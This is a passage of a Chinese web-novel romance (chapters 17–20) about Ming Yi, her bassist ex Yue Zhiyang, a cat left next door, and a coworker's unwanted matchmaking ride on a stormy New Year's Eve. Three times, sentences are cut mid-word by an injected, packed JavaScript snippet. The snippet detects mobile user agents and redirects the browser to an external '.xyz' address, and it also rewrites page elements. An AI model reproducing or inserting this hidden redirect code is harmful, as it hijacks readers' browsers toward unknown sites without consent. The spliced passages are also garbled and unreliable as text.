更惨的是,还是好死不死的狗血偶像剧经典开头。 ——朝着越之扬的方向。 17. 17 那一刻,所有的场景都像是开了慢放。 吧台处站着的调酒师惊讶朝这个方向伸出手。听见动静,越之扬也慢腾腾转过身。 明翊缓慢而又清晰地看到这人脸上所有表情: 迷茫、犹豫、以及那么几分带着难以置信的错愕。 对上他这明显不悦的视线,明翊觉得这人应该会毫不留情地伸手把自己推开,就像他刚才拒绝人时那般干脆利落。 好在,当时的越狗还人性未泯。 半空中缓慢扬起一只手,像是从天而降的救星。 于是,向前栽的她直接扑进了越之扬怀里。 这瞬间,清冽的薄荷凉气涌入鼻腔,驱散了独属于这季节的闷热与潮湿。 明翊恍然有种自己正抱着一颗巨大薄荷糖的错觉。 落在腰间的力道很重,越之扬扣住她向上一提,很快转了方向,紧接着,身侧传来道极沉闷的碰撞声。 是那男人摔倒在地,碰翻了周围几把木椅。 明翊本就收势不住,又被这接连的动作带得没敛住力道,脑袋在越之扬锁骨处轻轻磕了一下,似乎是碰到了他的骨钉。 头顶落下道闷哼。 还来不及道歉,眼前视野忽地一片模糊,斑点光晕交织成影。 世界恍惚了有几秒。 明翊很快反应过来,是隐形眼镜被撞掉了一片。她有二三百度的近视,不到人畜不分的地步,平时更习惯戴眼镜,后来上了大学经济宽裕,才开始学着戴隐形。 因为今天是陶以欣生日,她特地化了妆,戴得也是更方便活动的隐形。 身后摔倒的男人很快从地上爬起,随后粗噶暴躁的谩骂声不断传入耳中,似是想要还击。 也没人想着跟她道个歉什么的。 明翊下意识拧眉看过去,却有人比她更先出声。 “干嘛呢你们!要打滚出去打!” 头顶落下道冷淡质问。 也许是平白被人牵连,越之扬的语气很不好。 那两人很快闭了嘴,脸色不善地拉扯着就要往外走。 “滚之前先把钱赔了,”越之扬又冷笑一声,“一个凳子三百。” “你他妈碰瓷呢!?一个破凳子哪儿这么贵!” 两人明显是不满。 越之扬也不多废话,冲柜台后的调酒师扬了扬手:“行,报警。等警察来了看看进货单上写的到底是不是三百。” “而且你们打伤人这事儿还没算呢。” 他的语气始终不紧不慢,没半点儿对方人多的畏惧。 两人看了明翊一眼,似是想要说些什么,触及到这冷淡的眼神,又乖乖闭了嘴,走到前台处去协商赔款事宜。 这番动静并不算小,周围一圈人几乎都闻声看来。但或许是因为先前说好的互相装不认识,陶以欣几人始终没有上前。 明翊垂下眼,心情有些微妙的复杂。 并非出于埋怨。 只是觉得,自己似乎是没有必要因为别人的事把自己搞这么狼狈。 腰间的力道存在感很强,或许是顾不上这边,越之扬始终揽着她,以这么个尴尬的姿势和那两人交涉。 明翊平复好情绪,想着先跟他道谢。 “谢——” 闻声,对面低睫。 二人四目相对。 明翊在那瞬间莫名就愣了下,到嘴边的话也卡住。 因为距离很近,近视的不良效果还来不及在他这里生效,模糊的光影反倒像是平白给这人叠了层滤镜。 刚才没顾得上细看,如今明翊才发觉,眼前的男孩无疑是好看的。 在她近二十年形形色色见过的人群中,也算难得一见的出挑。 乌发浓眉,眼尾轻扬,淡色的唇薄而锋利,给这张脸平添几分漠然戾气,也难怪刚才那两人会偃旗息鼓。 可他的眼睛却明亮干净,光凭这双眼,其实看不出越之扬是个坏脾气的人。 此刻,这双眼的主人眼睫半垂,正垂眸定定看她,眼底情绪浮动。 明翊默默收回先前那句可能是因为看不清脸的话。 她很快回神,又开口。 “谢谢你……” “你谋杀啊?” 二人几乎同时出声。 有些人讲话就是有这种魔力,一张嘴就能将自己对他初始的好印象消磨大半。 明翊忍了忍,没吭声。 尴尬悄无声息漫过心头,她不是很明白,刚才的情形对面分明看在眼里,应该知道她不是故意,只是被殃及池鱼里的那条鱼。 但这人的语气太不友善,顿几秒,她还是硬着头皮先道了歉。 越之扬随口道:“行了,知道不关你的事。” 明翊:“……” 那刚才? 算了,且算她倒霉。 越之扬似是想要松手:“能站稳吗?” 明翊有点懵,顺着他的视线看过去,这才发现自己的脚腕正淌着血。 天气炎热,她今天穿的是件到脚踝的宽松牛仔裤,应该是刚才被碰翻的高脚凳无意间蹭到。 这点伤势对明翊来说不算严重,因此她也没多在意,只抿着唇提醒。 “…能,所以你可以松手了。” 从刚才到现在,明明都还只是陌生人,但她几乎是一直被这人半扶半抱着站稳。 之前情况紧急来不及多想,如今冷静下来,明翊是真觉得有些不自在。 越之扬扫了眼她尴尬的表情,随后果断松手。 那股清冽的薄荷香气也一道远去。 刚打算站定,脚踩实的一瞬间,尖锐的刺痛又自踝骨处传来。 明翊膝盖一软,毫无防备就近抓住了他刚刚收回的手臂:“……” 还没来得及开口,对面就冷冷嗤一声:“不是说能站稳?你故意的?” “……” 明翊顿了顿,尴尬抿唇:“抱歉。” 目光逡巡一阵,她看到两步开外的高脚椅,正打算忍痛往后挪。越之扬的手臂忽地绕至身前,将那凳子拉到她不远处。 这瞬间,他靠得极近的胸膛几乎快挨到脸侧。 刚才薄荷凉气带来的清爽似乎瞬息就消退得无影无踪,明翊忽然觉得周遭的气温好像是有点儿热。 沉默了大概小半分钟,对面又微微扬眉。 “你这是……”越之扬扫她一眼,语气里带些迟疑,“找我有事儿?” 明翊顿了顿,刚准备接话,又见这人勾着唇,意味不明地轻轻笑了声。 被他笑得有点懵,明翊也不知该不该继续提陶以欣的事。 头顶刚好落下道舒缓的音乐。 店里的音响再次运作,有店员在操作台那边点歌。 远处是轻柔明快的鼓点,CD机里在放什么明翊没能听清,只下意识觉得是不重要的背景音。 因为越之扬的动作实在是奇异得有些耐人寻味。 她看到他屈起指节在吧台边缘轻轻叩了两下,表情意味深长,像是在刻意等待着什么,提前踩点。 等这人再抬头,前奏恰好播完,这首曲目的第一句歌词应声而落—— “What'syourname……” 像是故意,越之扬的目光也在此时直直看来。 “说吧,要微信还是手机号?” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765361|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明翊僵在原地。 感觉整个人都不太好了。 难以置信地朝操作台那边瞄了两眼,怀疑是不是有人在故意整她。 忍不住朝她满脸错愕又憋屈的表情多看了两眼,越之扬语气不太正经地继续逗:“还是说你比较贪心,两个都想要?” 明翊:“……” 明翊:“?” 她的手刚伸进口袋,指节触摸到冰冷的金属边缘,凉意带来短暂的清醒。 与此同时,因为眼前这人憋笑憋得实在太明显,使劲往上翘的唇角怎么伪装都显得拙劣。 明翊心里忽然就冒出个念头。 他不会是在,故意整她吧? 但这明显是第一次见,这么针对她的话刚才好像也没必要出手帮忙。 明翊短暂整理了下情绪,很快打消念头,又表情微妙地扫过去一眼。 看来越之扬这自信是有些说法在身上。 不是不知道他人气爆棚、自视甚高,刚刚在室友几人的交谈中明翊也有所耳闻。 但她实在没料到,陶以欣的男神居然是这么一性格。 也没多冷啊。 就是人实在很怪。 那瞬间,明翊忽然就,不想要了。 而且似乎本来就没这打算,只是习惯性被气场强大的人带着跑。 此刻理智回笼,明翊冲他礼貌笑笑,开始拿先前准备好的说辞信口胡诌。 “抱歉啊,同学,可能是哪里让你误会了,我没有要搭讪的意思。” “刚刚撞到你真是抱歉,也谢谢你的出手相助,至于想要你的联系方式——” 明翊伸出手,指着他肩上的乐器包。 “是因为我在校外乐器行兼职,刚刚我就一直在看你们乐队演出,有注意到你。同学你弹得真好听,就是这吉他似乎是有点旧了,不太能配得上你高超的水准,要是你有置换新乐器的意向,可以联系我。” 一口气流畅说完,明翊的语气平滑得没有丝毫波澜。 又低下头去划自己的微信二维码。 她觉得这借口简直完美。 既解释了意图又说清楚误会,越之扬不给联系方式的话彼此之间不会多尴尬;真要给,也是陶以欣今天运气好。 但后来的明翊觉得,自己那天直接转身走人或许都要比当时更好收场。 吧台处的空气突兀静了两秒。 正朝这边走的调酒师脚步忽地一顿,目光定定望向二人,又噗嗤一声笑出来。 在这接连不断的闷笑声中,越之扬偏头极度不爽地冲他啧一声。 “有你什么事儿啊?这么闲的话替我把班一起顶了?” 明翊神情顿住。 隐约感觉哪里不太对。 就在这时,越之扬又看回她。一句话不说,只紧紧蹙着眉,那目光着实有些复杂难言。 顿三秒,明翊才讷讷问:“怎么了吗…?” 越之扬收回眼。 “没怎么,他应该是觉得你挺牛的。” 明翊满脸懵,完全没搞懂状况。 下一刻,越之扬背着乐器包站起身,又微微侧头,学她的语气一板一眼道:“同学,也谢谢您的捧场。目前呢,本人并没有置换新乐器的打算。” “至于你嘴里说的好听,应该是和我没什么关系。” 明翊:“?” “毕竟我弹的——” 像是故意放慢语调,又是极为刻意的停顿。不自觉对上对面眼神,明翊总觉得那里面跟藏了钩子似的,像是会吸引她所有的注意。 随后,越之扬上下扫视她,云淡风轻地往外撂下句。 “是、贝、斯。” 18. 18 霸总小说诚不欺我,原来人的眼睛里真的会空降扇形统计图。 细看越之扬的表情,会发现他的一言难尽里藏着三分凉薄、三分漫不经心,以及剩下九十四分的嘲讽。 总结起来,应该是懒得和她这外行废话,但不废话似乎是有些对不起自己。 以及自己的宝贝贝斯。 * 隔天上班路上,明翊仔细回想了下,觉得他那句‘你挺牛’似乎也别有深意,大概是在暗指某个四字成语。 她有些头疼地按了按眉心。 前男友的猫直接搬到自己对门,这事虽然还不到天降横祸的程度,但明翊心里总有些别扭。 她感觉哪哪儿都不对劲。 从确定关系到二人分手那两年,越之扬并没有养猫的习惯,平时也不是多热衷于萌宠的性格。 那猫明翊也扫过几眼,不是什么名贵品种,似乎不太符合他的消费水平。 实在分析不清对面意图,自己一个人瞎琢磨又费脑细胞,明翊把这事跟钟以晴简单提了下。 略去贝斯手的身份信息以及前因后果,只简明扼要地提取关键词: 分手半年的前男友把他的猫空投到我家对门。 这事儿你怎么看? 对方很快发来回复。 钟以晴:【我靠,你那傻缺对象还是个富哥啊!】 钟以晴:【我记得你家小区光房租一个月就近两千,他就给他家猫一个人住啊,简直人傻钱多】 钟以晴:【还有人缺猫猫吗,我想竞争上岗!】 明翊默了默:【……重点好像不在这】 钟以晴:【哦哦,至于目的】 钟以晴:【这不是很明显么】 过两秒,她大手一挥,发来几个小红书链接以及豆瓣生活组的咨询帖。 因为对面的语气实在胸有成竹,钟以晴好歹谈过几场恋爱,明翊果断听从她的指示点了进去。 结果第一条光是露个标题就差点惊得她从早高峰的地铁上告别世界—— 【复合好嘛孩子总哭】 没看多久,明翊直接退了出去。 做好心理准备,她不信邪地又去点第二条。 黑体加粗的标题映入眼帘。 ——我没有偷狗! 底下是一段慷慨激昂的自述:1.我出了狗钱的一半。2.狗名字是我起的,我养了八年,所以狗和我更亲。3.严格意义上来说把狗带出去玩不算偷狗,我后来还回去了。4.我问狗愿不愿意和妈妈一起生活,它叫了,这说明什么,说明阿贝贝也同意,所以那狗男人凭什么不同意?还报警抓我?? 以上,那是我的狗,分手了也是我的狗。 这次没得手,下次一定[1]。 沉默良久,明翊又切回跟钟以晴的聊天窗。 明翊:【?】 刚才那帖子除了好笑外她实在没品出任何参考价值。 钟以晴:【挟猫猫以令前女友啊】 钟以晴:【先是让猫住到你家对门,过几个月那傻缺肯定就想着鸠占鹊巢了,不信你等着瞧吧】 钟以晴:【男人都这样】 “……” 明翊噎了下。 觉得她这番分析不是特别靠谱。 首先那猫确实跟自己没多大关系,除了有点黏人外她是真对这猫没印象。 因为不在乎,所以哪怕对面有再多的手段似乎也威胁不到她。 再者,明翊隐约察觉到钟以晴话里话外的意思始终以越之扬似乎是打算跟她复合的思路来考虑问题。 但明翊觉得这出发点就不对。 钟以晴似乎已经忘了二人前几天谈过的先决条件: 越之扬已经有了新女友。 * 虽然心态还算平和,但因着钟以晴一番话,明翊还是忍不住注意起对门的动静。 接下来一连两天,明翊都没再见越之扬。 那猫似乎也没他嘴里说的那么闹腾,或许是因为这公寓的隔音措施做得还算到位,所以隔着扇门,明翊也听不出什么动静。 因为不确定前男友什么时候过来喂猫,起初她还发愁该如何避开。 但因为这段时间又加起了班,每晚到家差不多接近十一点,如此牛马的作息和越之扬那个闲散的男大学生几乎不可能重合,生活也完全没有被打扰。 除了下班时偶尔会朝对门瞥上一眼,凭借堆放在门口的快递和里头传出的动静来判断到底有没有人在。 他们也再无交集。 …… 30号下午,审核结果终于出来,需要删改其中一两个过于血腥暴力的场景。 任楠事先走流程请过假要去医院看颈椎,林苗苗也不好虐待伤员,留下明翊跟她一起加班。 忙到快十点,终于修改完。 明翊抬头看了眼,周围同事已经走得三三两两,办公区再不剩几人,林苗苗那边也已经收拾好东西。 今天加班几乎全程是她一人在忙,林苗苗只偶尔动动嘴,提供些参考意见。 明翊看到她接收到文件后火速上传,而后就麻利关了电脑转身走人。 明翊什么也没说,只垂眼去整理手边的东西。 检查过一遍办公区的电闸和门窗,刚准备关电脑走人,忽地又撞见林苗苗去而复返。 她就站在门口冲明翊招手,声音压得极低:“小翊,你快过来。” 瞥见这严肃的神情,明翊还以为出了什么事。 “苗苗姐,怎么了?是文案还有问题吗?” “哎呀,让你过来你就过来,别磨磨叽叽的……”林苗苗轻咂了声,又快步走到她面前,“你知道我刚听见什么了不?” “什么?” “我刚从洗手间那边经过的时候,发现Grace办公室的门没关严,老周就在里面。他俩儿在说什么你知道不?” 不等明翊接话,林苗苗就已急切地和盘托出,“说这季度公司的效益不是很好,所以下季度打算学那什么‘降本增效’。咱组的转正名额原本是下来了的,又被上头给砍了。” “所以啊,这批到手的名额估计不会太多……” “还有呢,我听Grace说让老周放心。”林苗苗瞥了眼乔鸢已经空荡荡的工位,眼神意有所指,“所以我说你啊,光整天埋头工作是没有用的,别的事你也得抓点儿紧呐。” 明翊一怔,反应了几秒才冲她点点头:“行,谢谢苗苗姐,我知道了。” 说完,她就继续收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765362|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾手边的东西。 一时冷场。 林苗苗眼中闪过无语,觉得这姑娘真是迟钝得有点缺心眼。 “这么大的事儿,你就一点不着急啊?” 明翊顿了下。 在这时,脑子里忽地冒出个钟以晴之前曾说过的冷笑话: 要是着急有用的话,那如今统治世界的应该是猴子。 明翊憋住笑,稍微反思了下自己不该在这时候想些有的没的。 但也不觉得自己的处理方式有哪里不对:“啊,我挺急的啊。这不是已经在关电脑了?” “……” 摊上这破事儿能怎么办。 除了早点回家重做简历怒刷BOSS直聘外似乎也没别的办法。 明翊不知林苗苗到底想看她表现出什么反应,只下意识觉得对方似乎并没有那么好心。 “那行,你自己看着办。” 林苗苗捋了下耳边碎发,状似随意地开口:“对了小翊,公司附近新开了家火锅鸡,要不要一起去打卡?给你介绍个人。” 对面眼神始终定在她淡然的侧脸。 明翊没有察觉,只仰起脸冲林苗苗温和笑笑。 “抱歉啊苗苗姐,今天我正好有点事。” 林苗苗撇嘴:“有什么事啊,都这么晚了难不成你还出去玩?正好加完班一起吃个饭呗,我请你。” 不知为何,脑海忽地就闪过先前和越之扬在楼道口狭路相逢的场景。 顿半秒,明翊淡淡开口。 “回家收拾收拾东西,万一真不小心被裁了也好找个桥洞暂住,不至于连露宿街头都抢不到好位置。” 林苗苗:“……” 好不容易将人打发走,明翊暗暗松了口气。 不是她不想合群、跟上司搞好关系,但她总觉得林苗苗这人目的性太强,说出的很多话都像是在往她想要的方向刻意引导,一不小心就会被带进沟里。 就这么下了班。 因为今天加班在公司食堂吃过,明翊也就不打算再点夜宵。 她拿钥匙准备开门,习惯性掏出手机,恰好看见越之扬那边给她发了两条微信。 越之扬:【1】 头一条是引用她之前发过去的那几个护理视频,算是勉强给个回音。 不至于石沉大海,显得他很没礼貌。 第二条才说起正事。 越之扬:【麻烦你个事儿呗,行不?】 明翊停下开门的动作,抱着手机回复:【你先说什么事】 越之扬:【……】 越之扬:【防范意识还挺强】 过两秒。 越之扬:【就我们家猫】 越之扬:【可能需要你帮个忙】 明翊目光定在屏幕上倏然出现的四个大字,因为工作还有些困顿的大脑猛地一个激灵。 我们家猫。 …我们。 谁们? 谁跟他我们。 又记起钟以晴发来的那两条链接,以及那条万分震撼的标题。 明翊暗暗倒抽口气,几乎是手忙脚乱地一个字一个字往上敲。 三秒后,屏幕上赫然出现她的回复—— 明翊:【不复合。】 19. 19 明翊刚舒了口气。 越之扬:【?】 越之扬:【你是不有病】 望着那则明显可以归类为人身攻击且必然会被举报成功的不友善言论,明翊立刻在聊天框内重重敲下个问号。 新一届问号大王争霸赛即将开启。 对面信息却又将她的理智稍稍拉回些。 越之扬:【你自己瞅瞅你这说的是人话吗】 手指微微一顿,顺着屏幕上下扫视两眼,明翊这下还真是后知后觉地意识到自己似乎是有些草木皆兵了。 大概是面对越之扬总是习惯性神经过敏,所以对面只是个简单平A,结果自己这边一时慌神—— 连大都交了。 “……” 略显心虚地将对话框内那个问号删掉,她又重新打字:【说吧,什么事】 越之扬:【有个快递】 越之扬:【应该就在门口】 越之扬:【麻烦你帮我取一下】 明翊的视线扫过去。 果真在他门口看到了个小小的快递盒。 稍微思考了下,想着帮越之扬取了快递必然要当面转交,万一再拉拉扯扯地纠缠不清,二人刚断不久的联系似乎又会重新产生交集。 想到这,明翊下意识就是拒绝,那边却又继续道: 【最近物业说这栋楼有人专门偷快递】 【里面东西还挺贵的,丢不起】 明翊悚然一惊,忽地记起那把昂贵的贝斯。 担心万一真的不慎弄丢越之扬那狗会不会又把锅扣到自己头上,犹豫再三,还是将打好的拒绝删除。 又重新键入:【好】 因为没有打探别人隐私的癖好,尽管虽然对越之扬能给一只猫买什么贵重物品感到些许好奇,明翊还是什么都没多问。 洗完澡躺到床上,她忍不住又回想起今天的事。 林苗苗这番行为除了显得很没边界感外,还有些奇怪,明翊不是很能准确推断出她特意绕回来跟她说这些话的目的。 说起来转正这事迟迟没个定论也确实值得上心。 玩趣科技的实习期以往都是三个月,原本12月底的时候就该定下来,算起来也快轮到明翊,毕竟她已经算是跟着完成一轮支线剧情,反响还算不错。 但上头迟迟没有发话,很多事单凭一个实习生也没办法越级上报,明翊有什么想法也只能跟林苗苗反馈。 林苗苗这人,明翊跟她有些许的气场不和。也没到完全不能共事的地步,只是总拿不准她这种过分的亲近是不是真心提携。 她们这一批新进的实习生不少,光明翊的同期就有三个。 除了乔鸢和任楠外,同组还有位女生,明翊和她平时交流不多,因此没多少印象。 员工一多,效益又不好的话,那必然免不了降本增效。 林苗苗的话似乎有一定可信度。 公司一直传言乔鸢是走后门进来的,她父亲和项目组的顶头上司似乎是有些私交,有这么个体验生活的大小姐在,如果转正名额不多,那落到明翊头上的概率就微乎其微。 听林苗苗话里话外的意思,似乎是在暗示有人会被踢出局。 大概还是自己。 “……” 想到这,她在黑暗里轻轻眨了下眼。 明翊这人很懒,想不明白的事索性就不想。 目前这消息林苗苗也只告诉了自己,可信度尚且存疑,所以她也不着急,打算等明天上班再看看情况。 * 隔天就是跨年。 钟以晴大清早的就开始在微信上邀她出门。 明翊看到微信时已经是上午十一点半,刚整理完文档不久,她抽空看了眼手机,忍不住朝窗外投去视线。 此刻的天际线压得极低,天空阴云密布,莫名有种山雨欲来的气氛。 就算不加班,看这天气,似乎也没办法好好跨年。 回绝了钟以晴的邀约,说自己打算在家蒙头睡大觉,明翊切出去的瞬间,视线又不经意间扫到和越之扬的聊天框。 也不知他那伤好些了没。 距事发快一周,虽然二人目前算是偶有联系,但那边始终对他的伤情讳莫如深,明翊也不敢多问,生怕惹得这人不快又大开嘲讽技能。 她下意识点进聊天框。 思绪却被为数不多的理智牵动着,最终望着上头那个明显算是敷衍的‘1’,明翊又一字一句将打下的话删除。 正准备退出,屏幕忽然跳出两三条消息。 越之扬:【今天几点下班】 越之扬:【我考完试了,过去取快递】 越之扬:【方便不】 明翊犹豫了下,报了个时间。 又说最近加班,所以下班时间不是很确定,可以的话让他明天休息日的时候再过来。 对面很快回了个好。 明翊也拿不准他这‘好’到底算是同意了没。 因为始终记着林苗苗的话,今天一整天明翊都在注意她那边的动静。 可意外的,并没见林苗苗跟任楠或是同组那女生提这事,似乎只是好心地跟她一人单独‘通风报信’。不确定这到底是什么意思,明翊也就没在意,只照常做自己的事。 下午三点,酝酿了一整天的暴风雨如期而至。 乌云在天际迅速聚集,本就昏暗的天幕在瞬息间由明转暗,办公室的玻璃窗似乎都在风雨中震颤。 整座城市一瞬被雨声淹没。 办公室内怨声载道。 明天就是元旦假期,今晚众人似乎都有活动,连林苗苗也不例外,正压着声音低低跟乔鸢抱怨。 微信上钟以晴也发来消息吐槽。 明翊倒是不怎么意外,上午那情形怎么看都是要下雨,不下才值得惊讶一番。 但她还是忍不住望着窗外出了会儿神。 因为又想起了越之扬,以及那条酷似天气预报的垃圾短信。 从这人被她无情戳穿到现在几乎快过一周,那短信也恰好停了近一周。 本来不觉得有什么,对别人的离去明翊一向适应良好。 但记忆这东西像是必须要找个触发点,这瞬间她又不自觉想起。没来由的,情绪似乎是随着窗外越压越低的雨幕一起变沉闷。 任楠刚好路过工位:“欸,姐,你今个儿怎么没带伞啊,还穿这么少?” “忘看天气预报啦?” “……” 还真是,哪壶不开提哪壶。 明翊联想起自己之前近乎是犯蠢的推荐,有些尴尬地冲他扯了扯唇,也不知该说些什么。 这场暴雨一直持续到晚九点。 因为跟着林苗苗分析了一会儿上期文案存在的问题,所以今天她下班要比同组的员工迟上那么二十几分钟,等到前往一楼大厅的服务台,本就所剩不多的雨伞已经被拿得差不多。 明翊正发愁该怎么回去,身后忽然响起高跟鞋的声音。 “欸,小翊,你等等!我这有份参考资料,你先拿回去看。等周一的时候我们再探讨一下后续的剧情走向。” 一回头,正对上林苗苗的视线。 从她手中接过那份资料,A4大小的牛皮纸袋,因为个头有点大,所以费了老半天劲儿明翊才勉强将它装进托特包,却还有一小截边缘露在外头。 二人一起朝外走。 林苗苗又道:“正好今天有人来接我,顺路送你一程。” 顺着她的视线望过去,明翊看到公司门口停着辆黑色比亚迪。 车窗很快降落,露出张有些熟悉的脸。 是林苗苗表哥,之前见过几次。 明翊愣了下,刚打算拒绝,林苗苗又瞥了眼她露在外头的纸袋:“这资料你可别弄湿了呀,下周我还得继续用呢,就暂时借你参考两天。” 顿了下,明翊缓慢点头。 朝窗外的雨势看了几眼。 寒风将雨丝刮出飘摇的形状,雨线在车灯的照耀下越发清晰而分明。公司门口没有便利店,要买伞也得往外走上三四百米,今天时间特殊,估计也叫不到车。 林苗苗既然这么说了,那她也只好应下。 “行,那就麻烦苗苗姐了。” 道过谢,二人上了车。 明翊冲驾驶座上的憨厚男人打过招呼。 车辆刚准备发动,副驾上的林苗苗忽然‘哎呦’一声。 男人看过去:“你咋了?” 林苗苗一脸懊恼:“我忽然想起我数据线没拿,哥你等我一会儿,我上去取一趟。” 男人似是有些不悦:“就一破数据线……” 林苗苗摆摆手:“我就剩那一根了,今天不拿上到家手机准没电,哥你就等我一会儿!小翊,你就先陪我哥聊着。” 明翊觉得她这话还怪有意思的,但林苗苗已经下了车。 男人很快熄火,视线朝后头一瞥,开始搭话。 明翊不是话多的人,也不太擅长和不熟的人相处,随意客套几句,便开始垂头看手机。 场面一时沉寂。 窗外的雨声清晰入耳,因为穿的少,今天气温又低,大脑有些昏沉,头也隐隐作痛,似乎是感冒了。 一头疼起来明翊耳鸣的毛病就跟着犯,感觉脑袋里像是有施工队在装修。 那人却还在喋喋不休。 林苗苗很快回来,却又在半道下了车,说自己今晚和朋友约了饭局。 明翊本想也跟着下车,但对面劝阻,又已经坐顺风车到一半,中途下车似乎是不太礼貌。 疑心是自己被害妄想症作祟一时想多,明翊只好继续坐下去,听前座的人有一搭没一搭闲聊。 渐渐也揣摩出这段时间林苗苗行为的意图。 看这样子,似乎是打算为她说媒。 明翊默默投去视线,且不说自己并没有这方面的打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765363|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算,单就林苗苗这表哥,和她的择偶标准也八竿子打不着。 普普通通的长相,普普通通的身材,甚至直到现在,明翊连对方的名字都还没记住。 这人就像是这城市成千上万道模模糊糊的影子,一不留神就会淹没进人群里。 反应过来情况,明翊就打算像往常一样冷处理。 但朝窗外一瞥,她的眉头渐渐皱起。 因为这不是熟知的路。 往清水湾方向走需要途径南环大道,但这个行车路线,似乎是在朝市区开。 “林哥,这好像不是我家方向。” 因为不记得对面名字,明翊只好跟着林苗苗一起喊他哥,抱着对方也许是不小心绕了远路的想法善意提醒。 但前座的男人却只是淡笑一声,完全没理会她的意见。 “今天是跨年夜,我在餐厅定了位置,我们先去吃个饭?” “……” 明翊一瞬间明白了。 单身女性在职场最怕什么? 最怕的就是现在这情况,不知不觉间被同事或是上司拿来做了人情,给自己介绍一堆奇形怪状的不适龄但亟待求偶男青年。 再联系一下昨天林苗苗那番暗示意味明显的话,哪怕再迟钝明翊此刻也反应过来。 情况似乎更糟。 闻言,她的脸色几乎是立刻冷下来:“我这边并没有要吃饭的打算。” “啊,可是苗苗说你还没吃晚饭呢。” 男人状似不解。 “是没吃,但不打算和您一起吃。”明翊语气平缓,尚且还算温和,“而且你如果是真心想约我吃饭,也应该是先主动告知我,而不是通过别人传话。” “更何况苗苗姐那边也根本没提过。” “……” 因为不确定这人在这场闹剧里扮演什么角色,明翊的话也相对收敛。 但下一刻,她就觉得自己的收敛纯属多余。 顿几秒,男人不以为意笑起来。 “是我让苗苗那边瞒着你,”他回头看一眼,“毕竟你这小姑娘似乎是还挺矜持,几次三番跟你搭话都不带理人的。” 微微愣神过后,明翊险些气笑了。 这什么奇葩一家人,一个比一个离谱。 心中火气渐浓,连带着对林苗苗故意坑自己的怨气一齐涌了上来。此刻明翊也再维持不住表情,冷声开口。 “车费我马上转您,方便的话下个路口停。” 二十分钟后。 车辆在清水湾侧门处停下。 驾驶座上的男人沉着张脸,表情难看。 明翊没接他递过来的伞,只镇静和电话另一头的人对峙。 “小翊你怎么回事儿啊?” “遇见机会不知道好好把握……” “我哥他人多体贴,知道今天下雨还特地过来接你,又有钱,你错过他真找不着条件这么好的人了,我也是见你脾气好才想着把人介绍给你。” 明翊面不改色听她鬼扯。 脾气好? 是看她好欺负吧。 没等明翊回应,那边又狐疑道。 “还是说你已经有对象了?” “……” 明翊深深吸口气。 将心头的火气按了又按,如果只是同级,她可以毫不留情怼回去,但因为这该死的上下级关系,连说话都只能收着。 “苗苗姐,请问我是得罪您了么?” “啊?” “我问我是不有哪里得罪您了。要是没有,您干嘛这么针对我?虽然您年纪也不算轻,但我妈目前还活着,还不需要别人替我/操心终生大事。” “……” 闻言,邻座的男人投来一瞥。 被林苗苗打来询问的电话打断,明翊也没顾得上下车,就这么稀里糊涂被他拉着。 听自己和他表妹争执了快一路,明翊想就算再迟钝,这人此刻应该也明白了自己的意思。将电话掐断,明翊果断给林苗苗转了五十过去,又看向驾驶位上的人。 “车费转给您表妹了,毕竟我看你们兄妹俩儿似乎是都很爱玩瞒天过海这一套,如果有可能的话——” 她顿一下,声色淡淡。 “以后除了路遇您又在开顺风车之外,我们还是别再碰面了。” 说完,也没管对方反应,直接下了车。 明翊很少会把话说的这么直白,对方又是自己上级,但今天这事儿真是离谱至极,她气得不轻。 本以为该就此打住,走了一天的霉运也该到头。 明翊忽然看见单元楼那边隐约出现道熟悉的身影。 身后停着的车辆也在此时启动,顺着转向灯在雨夜里斜斜拉出的光束,越之扬的身影出现在视野。 明翊脚步一顿,不自觉睁大眼。 是她的错觉么。 看对面那表情…… 怎么感觉是来捉奸的? 20. 20 这念头很快就被打消。 做人应该至少不能自我感觉良好成这样,毕竟不是每个人的出场设置里都带着越之扬那股快冲破天际的自信。 但望着对面那道人影,明翊还是有短暂失神。 越之扬手里明明就握着把伞,却始终没有撑开,任由身体被雨水一寸一寸浇湿,脸色也像是冷到极致,淬了冰一般。 记起这人似乎还负伤在身,明翊也顾不上别的,顶着包往前跑了两步,在他面前站定后就直接踮脚将托特包盖过二人头顶。 开口时气息还有些不顺:“大半夜的,你发什么疯?” 越之扬垂眸瞥她一眼,什么话也没说,就像是没听到般,继续抬腿往外走。 被他这表现搞得有些懵。 明翊下意识伸手拉了他一把,越之扬很轻地皱了下眉,这才低睫看来。 随后,苍白的唇跟着动了动。 “他……” 那边隐约问了句什么。 但阴沉的雨幕似是将气氛迫降至冰点,所有的声音都被隐藏进这场雨里。 明翊没能听清。 